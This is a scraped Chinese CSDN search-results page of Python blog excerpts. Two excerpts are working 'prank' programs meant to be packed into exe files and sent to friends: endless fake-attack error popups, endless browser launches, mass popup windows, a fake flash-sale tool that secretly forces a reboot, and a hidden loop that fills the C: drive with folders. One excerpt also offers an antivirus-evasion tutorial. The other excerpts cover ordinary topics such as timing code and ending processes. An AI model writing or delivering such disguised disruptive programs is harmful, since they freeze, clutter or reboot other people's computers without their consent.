精华内容
下载资源
问答
  • 5 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

    万次阅读 多人点赞 2021-01-09 22:35:52
    亲爱的朋友们,Python 整蛊程序之一 整蛊程序之二 整蛊程序之三 整蛊程序之四

    Python 能做很多无聊,但有意思的事情,例如接下来的一些案例。

    以下程序,不要发代码,要不实现不了你整蛊的目的。

    要打包成一个 exe 程序,发给朋友才有意思。

    使用 pip install pyinstaller

    打包命令如下:

    pyinstaller -F 文件名.py
    

    过程中如果出现 BUG(一般是编码错误),点击导航查看解决方案

    无聊程序之一

    while True:
    	n = input("猜猜我在想啥?")
    	print("猜错喽")
    

    你的朋友将永远无法知道你在想什么。

    当然我安装 360 之后,程序没了。有兴趣研究免杀的,可以在给本文点个赞,点赞过 100,橡皮擦出套 Python 免杀教程。

    天空是蔚蓝色,窗外有千纸鹤
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

    无聊程序之二

    死命弹窗

    import tkinter.messagebox
    
    while True:
        tkinter.messagebox.showerror('Windows 错误','你的电脑正在被攻击!')
    

    运行之后,很就刺激了,如果对方不会杀进程,更刺激。
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧
    天空是蔚蓝色,窗外有千纸鹤

    无聊程序之三

    调用默认浏览器,无限打开 CSDN ,让他爱上学习。

    import webbrowser
    while True:
        webbrowser.open('www.csdn.net')
    

    额,使用之后,橡皮擦自己的电脑死机了。
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

    瞬间 CPU…
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧
    天空是蔚蓝色,窗外有千纸鹤

    无聊程序之四

    这个程序就动感多了,会随机出现弹窗。

    import tkinter as tk
    import random
    import threading
    import time
    
    
    def boom():
        window = tk.Tk()
        width = window.winfo_screenwidth()
        height = window.winfo_screenheight()
        a = random.randrange(0, width)
        b = random.randrange(0, height)
        window.title('你是一个傻狍子')
        window.geometry("200x50" + "+" + str(a) + "+" + str(b))
        tk.Label(window, text='你是一个傻狍子', bg='green',
                 font=('宋体', 17), width=20, height=4).pack()
        window.mainloop()
    
    
    threads = []
    for i in range(100):
        t = threading.Thread(target=boom)
        threads.append(t)
        time.sleep(0.1)
        threads[i].start()
    

    运行效果如下图所示,非常带劲,可以任意修改。
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧
    天空是蔚蓝色,窗外有千纸鹤

    无聊程序之五

    该程序在橡皮擦看来能排到第一,甚至可以和当下最火的枪茅台案例结合一下。

    import os
    import time
    a = """
    
         oooo oooooooooo.            .oooooo..o                     oooo         o8o  oooo  oooo
         `888 `888'   `Y8b          d8P'    `Y8                     `888         `"'  `888  `888
         888  888      888         Y88bo.       .ooooo.   .ooooo.   888  oooo  oooo   888   888
         888  888      888          `"Y8888o.  d88' `88b d88' `"Y8  888 .8P'   `888   888   888
         888  888      888 8888888      `"Y88b 888ooo888 888        888888.     888   888   888
         888  888     d88'         oo     .d8P 888    .o 888   .o8  888 `88b.   888   888   888
    .o. 88P o888bood8P'           8""88888P'  `Y8bod8P' `Y8bod8P' o888o o888o o888o o888o o888o
    `Y888P
    
    功能列表:
    1.预约商品
    2.秒杀抢购商品
    """
    print(a)
    
    key = input("请选择:")
    
    if key == "1":
         time.sleep(1.5)
         print('没有预约到\n')
         time.sleep(3)
         print('没事的,来抱一哈\n')
    
    else:
         print("既然如此...")
         time.sleep(3)
         print("那你想得美~~~~~")
         os.system('shutdown -r -t 10')
    time.sleep(10)
    

    天空是蔚蓝色,窗外有千纸鹤
    别运行,运行之后别怪我。

    pyinstaller 编码 BUG

    在使用 pyinstaller 进行打包 exe 的时候,会出现如下错误:

      File "c:\users\administrator\appdata\local\programs\python\python37\lib\site-packages\PyInstaller\utils\hooks\__init__.py", line 68, in __exec_python_cmd
        txt = exec_python(*cmd, env=pp_env)
      File "c:\users\administrator\appdata\local\programs\python\python37\lib\site-packages\PyInstaller\compat.py", line 526, in exec_python
        return exec_command(*cmdargs, **kwargs)
      File "c:\users\administrator\appdata\local\programs\python\python37\lib\site-packages\PyInstaller\compat.py", line 321, in exec_command
        out = out.decode(encoding)
    AttributeError: 'str' object has no attribute 'decode'
    

    截图如下:
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧
    按照 BUG 提示的位置,修改下述代码:

    out = out.decode(encoding) # 改为  out = out
    

    打包成功在 dist 文件中找寻 exe 程序即可。
    10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

    写完了,创意时刻

    想学 Python 爬虫,可以订阅橡皮擦专栏哦~ 🈲🈲🈲🈲 点击发现惊喜 🈲🈲🈲🈲

    今天是持续写作的第 49 / 100 天。
    如果你有想要交流的想法、技术,欢迎在评论区留言。


    如果你想跟博主建立亲密关系,可以关注同名公众号 梦想橡皮擦,近距离接触一个逗趣的互联网高级网虫。
    博主 ID:梦想橡皮擦,希望大家点赞评论收藏

    展开全文
  • python恶搞程序python文件打包exe教程

    万次阅读 多人点赞 2019-10-19 14:59:12
    闲着无聊写了一个简易的恶搞小程序,大家看看就好,不要用来做坏事哦。 使用方式: 安装python环境。 编写脚本。 打包成exe文件。 安装python环境我就不过多的介绍了,网上有很多教程,下面直奔主题。 import os, ...

    前言

            闲着无聊写了一个简易的恶搞小程序,大家看看就好,不要用来做坏事哦。
    (声明:本教程仅供学习使用,如有人使用该技术触犯法律与本人无关)

    使用方式:

    1. 安装python环境。
    2. 编写脚本。
    3. 打包成exe文件。

    安装python环境我就不过多的介绍了,网上有很多教程,下面直奔主题。

    import os, sys
    def mkdir():
        path = 'C:\\'#创建文件路径
        i = 0
        a = 1
        while a>0: #创建文件个数
            file_name = path + str(oct(i))
            os.mkdir(file_name)
            i=i+1
    mkdir()
    

            此程序原理为无限在C盘创建文件夹,生成文件名称由纯数字转为八进制来显示,可以改成递归创建文件夹,威力更大。

            由于python需要运行环境才可以运行,我们为了方便发给小伙伴恶搞,可以把这个打包成exe文件。下面我来介绍一下如何打包exe文件。

    1.首先我们要安装 Pyinstaller,这里我们使用pip命令。打开cmd输入(Python 2.7.9 + 或 Python 3.4+ 以上版本自带 pip 工具)

    pip install Pyinstaller
    

    2.安装完毕后,cmd进入py程序项目目录输入下面指令(创建一个文件把.py文件丢进去)

    pyinstaller -F -w  文件.py --noconsole
    

    经过执行后会变成这样:
    在这里插入图片描述
    exe文件夹就存在dist中咯。
    在这里插入图片描述
            小心千万不要在自己电脑运行哦,我之前不小心运行了一下,立刻按电源键保命。重启后,C盘躺着几万个文件夹。后面我会发一个批量删除文件夹的脚本吗,供大家保命。

    在这里插入图片描述

    展开全文
  • python计算程序的运行时间的方法写在开头Python程序中经常使用方法jupyter 中的快捷统计程序运行时间的方法总结 写在开头 由于平时工作、测试或者实验需要,经常需要计算程序运行时间,其运行环境一般是jupyter或非...

    写在开头

    由于平时工作、测试或者实验需要,经常需要计算程序运行时间,其运行环境一般是jupyter或非jupyter环境。本文将对其进行总结,方便下次使用(好记心不如烂笔头嘛)

    Python程序中经常使用方法

    python中用于计算时间的有time,datetime
    (1)其中time包提供了有关时间的方法,与计算当前时间有关的方法有time(), clock(), perf_counter(), process_time(),default_timer()五种方法(严格来说是三种)
    (2)datatime中datetime.datetime.now()方法
    下面对这些方法一一进行介绍:
    (1)time()方法

    import time
    start = time.time()
    time.sleep(2)
    end = time.time()
    print(end-start)
    

    (2)datetime.now()

    start = datetime.datetime.now()
    time.sleep(2)
    end = datetime.datetime.now()
    print(end-start)
    

    (3)default_timer()

    import timeit
    start=timeit.default_timer()
    time.sleep(2)
    end=timeit.default_timer()
    print('Running time: %s Seconds'%(end-start))
    

    (4)clock()

    import time
    start = time.clock()
    time.sleep(2)
    end = time.clock()
    print(end-start)
    

    但是会出现警告信息:

    5: DeprecationWarning: time.clock has been deprecated in Python 3.3 and will be removed from Python 3.8: use time.perf_counter or time.process_time instead
    

    即该方法在pyhon3.3版本之后就已经弃用了,在python3.8之后将会被移除,也就是说该方法在python3.8以前还可以用,但是不建议用,在python3.8以后再用就会报错了!而pref_counter()和process_time将会将其替代(区别后面介绍)

    (5)pref_counter()

    import time
    start = time.perf_counter()
    time.sleep(2)
    end = time.perf_counter()
    print(end-start)
    

    (6)process_time()

    import time
    start = time.process_time()
    time.sleep(2)
    end = time.process_time()
    print(end-start)
    

    至于这两种方法区别的话,很简单,perf_count()计算的是程序运行时间,以及sleep()方法时间;而process_time()方法顾名思义,只是计算程序运行时间,不计算sleep()方法。所以,严格来说,pref_counter()才是clock()的替代方法。

    jupyter 中的快捷统计程序运行时间的方法

    jupyter中提供了简洁的统计程序运行时间的方法,包括%%time, %time, %timeit方法
    (1)%%time(统计cell块运行时间)

    %%time
    time.sleep(2)
    for i in range(10000):
    	print(i)
    

    (2)%time(统计语句行运行时间)

    %time time.sleep(2)
    

    (3)%timeit(使用Python的timeit模块,它将会执行一个语句100,000次(默认情况下),然后给出运行最快3次的平均值。)

    x = 1000
    %timeit xx = x*x 
    

    输出:

    99.7 ns ± 1.22 ns per loop (mean ± std. dev. of 7 runs, 10000000 loops each)
    

    总结

    下面将对通用的计算程序运行时间的方法进行总结
    1、这些方法各有优缺点,time.time()方法与datetime.datetime.now()方法计算程序运行时间并不准确,因为他们还计算了其他程序占用CPU的时间。
    2、而time.clock(),time.perf_counter(),time.process_time()计算比较准确,但是python3.8以后clock()将被perf_counter()方法所取代。
    3、系统平台也限制了这些方法统计时间的性能差异,因此,Linux下推荐使用time.time();windows下使用time.perf_counter()或者time().process_time()方法;在为了实现跨平台的精度性时,可以使用timeit.default_timer()方法。

    【参考博客】
    [1]: https://www.cnblogs.com/yuehouse/p/11493901.html
    [2]: https://blog.csdn.net/mxxxkuku/article/details/95784259
    [3]: https://blog.csdn.net/qq_27283619/article/details/89280974?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5
    [4]: https://blog.csdn.net/zdx1996/article/details/86583676?depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-7&utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-7

    展开全文
  • Python根据程序名称结束进程

    千次阅读 2018-12-10 11:19:52
    #-*- encoding:UTF-8 -*- import os import sys import string import psutil import signal #print os.getpid() def getAllPid(): pid_dict={} pids = psutil.pids() for pid in pids: p = ps...
    #-*- encoding:UTF-8 -*-
    import os
    import sys
    import string 
    import psutil
    import signal
    #print os.getpid()
    def getAllPid():
        pid_dict={}
        pids = psutil.pids()
        for pid in pids:
            p = psutil.Process(pid)
            pid_dict[pid]=p.name()
            #print("pid-%d,pname-%s" %(pid,p.name()))
        return pid_dict
    
    def kill(pid):
        try:
            kill_pid = os.kill(pid, signal.SIGABRT)
            print '已杀死pid为%s的进程, 返回值是:%s' % (pid, kill_pid)
        except Exception as e:
            print '没有如此进程!!!'
     
    if __name__ == '__main__':
      dic=getAllPid()
      for t in dic.keys():
          if dic[t]=="360se.exe":
              kill(t)
    

    在这里插入图片描述

    展开全文
  • Python程序运行结束后不关闭控制台命令 在python程序后加一下代码,防止控制台自动关闭,无法看结果 raw_input("Press ")
  • Python程序调用另一个Python程序

    万次阅读 2017-07-18 16:15:17
    Python程序调用另一个python程序,大概有几种调用方式: 这里有两个Python程序,假设分别为a.py和b.py两个程序 1、在a.py里面调用b.py里面的函数,有以下两种情况  (1)在同一文件目录下——这个时候可以直接用...
  • python判断素数程序 什么是质数? (What is a prime number?) A prime number is a natural number that is greater than 1 and cannot be formed by multiplying two smaller natural numbers. 质数是大于1的...
  • python 终止程序

    万次阅读 2018-07-25 17:38:10
    1.如果这个异常没有被捕获,那么python编译器将会退出,后面的程序将不会执行。 2.如果这个异常被捕获(try...except...finally),捕获这个异常可以做一些额外的清理工作,后面的程序还会继续执行。 注:0为正常退出...
  • python退出程序命令

    万次阅读 2017-06-30 10:23:33
    原文地址:... os._exit() vs sys.exit() ...python的程序有两中退出方式:os._exit(), sys.exit()。...os._exit()会直接将python程序终止,之后的所有代码都
  • 程序执行的三种方式3.1 解释器3.2 交互式运行Python程序3.3 IDE(集成开发环境)-pycharm 1. 第一个Python 程序 Python 源程序就是一个特殊格式的文本文件,所以可以采用任意的文本编辑器软件做 Python开发,...
  • Python 程序中查看 Python version

    千次阅读 2018-05-02 12:28:34
    Python 程序中查看 Python version 1. code #!/usr/bin/env python3 # -*- coding:utf-8 -*- import platform import sys print("\nplatform.python_version():") print(platform.python_version()) print("\...
  • Python如何发布程序

    万次阅读 多人点赞 2018-08-11 19:43:15
    如何发布一个Python程序: 1.安装一个pyInstaller 在pycharm里点 file —–>setting—–>Project workspace——>Interpreter ——>点pip右边的+号,进入下面这个界面: ...
  • 编程题 ...输出“Python语言简单易学” 第2章-1 计算 11+12+13+…+m 第2章-2 计算分段函数[1] 第2章-3 阶梯电价 第2章-4 特殊a串数列求和 第2章-5 求奇数分之一序列前N项和 第2章-6 求...
  • 【方法】HTML网页调用本地Python程序

    万次阅读 多人点赞 2018-05-07 11:15:00
    首先声明,在HTML中调用本地Python程序是十分不推荐的,一是因为网页调用本地程序的权限正在被取消,二是因为真不如JS写直接,三是只能在自己本地调用。 但如果你要用,像我一样,需要在课堂上进行一个Python代码的...
  • 使用 PyCharm 编写 Python 简单程序

    千次阅读 2019-03-05 12:43:20
    使用 PyCharm 编写 Python 简单程序1.打开 PyCharm 软件2.创建 python 文件3.执行 python 文件 1.打开 PyCharm 软件 File ----> New Project 2.创建 python 文件 3.执行 python 文件 一...
  • Python程序入口

    万次阅读 多人点赞 2019-01-19 09:19:17
    对于if __name__ == ‘__main__’:的理解 对于很多编程语言来说,程序都必须要有一个入口,比如C,C++,以及完全面向对象的...C,C++都需要有一个main函数作为程序的入口,也就是程序的运行会从main函数开始。同...
  • Java调用Python程序方法总结

    万次阅读 多人点赞 2018-01-17 23:58:07
    实际工程项目中可能会用到Java和python两种语言结合进行,这样就会涉及到一个问题,就是怎么用Java程序来调用已经写好的python脚本呢,一共有三种方法可以实现,具体方法分别为大家介绍: 1. 在java类中直接执行...
  • Python自学4:Python程序流程

    万次阅读 2013-11-18 16:05:34
    # -*- coding:utf-8 -*- #Python自学4:Python程序流程 #和大多数编程语言一样,Python也有顺序、分支、循环这三种流程。 #一、分支结构:if # 语法:if : # # elif : # # elif : # # ... #
  • 如何写python程序

    千次阅读 2018-05-23 23:13:52
    1.可以使用记事本来编写python程序,但文件后缀命名为.py2.可以用node++来编写3.可以通过python的控制台来编写4.可以安装pycharm来编写python程序,本人就是安装此软件来编写python程序的...
  • 文章目录《python语言程序设计基础》嵩天著-第4章程序部分练习题答案程序练习题 3.1 重量计算程序练习题 3.2 天天向上续篇1程序练习题 3.3 天天向上续篇2程序练习题 3.4 回文数判断程序练习题 3.5 田字格的输出实例4...
  • python : html 调用本地python程序

    万次阅读 2018-02-20 16:53:46
    python : html 调用本地 python 程序
  • python基础-第一个python程序

    千次阅读 2018-12-04 22:17:53
    上一章中,我们介绍了怎么去安装python环境,作为我们入门python的先决条件,今天,我们通过编写第一个python应用程序的方式,正式进入python的大门。 首先,关于python,有两种打开方式,一种是shell命令行,一种...
  • 书名:Python程序设计实践教程定价:29.8ISBN:9787115532602作者:储岳中 薛希玲版次:*1版出版时间:2020-04内容提要:本书是Python语言程序设计的配套实践教材,分为三部分,分别是*一部分:习题解答,包括13章;...
  • Python精华】100个Python练手小程序

    万次阅读 多人点赞 2017-03-24 16:34:51
    100个Python练手小程序,学习python的很好的资料,覆盖了python中的每一部分,可以边学习边练习,更容易掌握python。 【程序1】 题目:有1、2、3、4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少?...
  • 近几年来,随着Google、YouTube、IRobot等大公司对Python语言的广泛使用,Python公司的身影经常出现与我们的视线,Python语言也在软件质量、开发效率、程序的可移植性、标准库的支持等方面成为了一个优秀的程序开发...
  • Python程序加密

    千次阅读 2020-02-01 18:14:22
    在实际的工作中,有时候我们需要部署自己的Python应用,但这时候我们并不希望别人能够看到自己的Python程序。因此,我们需要为自己的源代码进行加密,Python已经为我们提供了这样一套工作机制。   第一种加密...
  • Python语言程序设计》测验题目

    万次阅读 2018-05-09 22:13:44
    Python语言程序设计测验题目 Python语言程序设计测验题目 测验1: Python快速入门 (第2周) 程序设计题(一) 祖国的问候 程序设计题(二) 热量转换 I* 测验1: Python快速入门 (第2周) 程序设计题...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,258,932
精华内容 503,572
关键字:

python怎么结束程序

python 订阅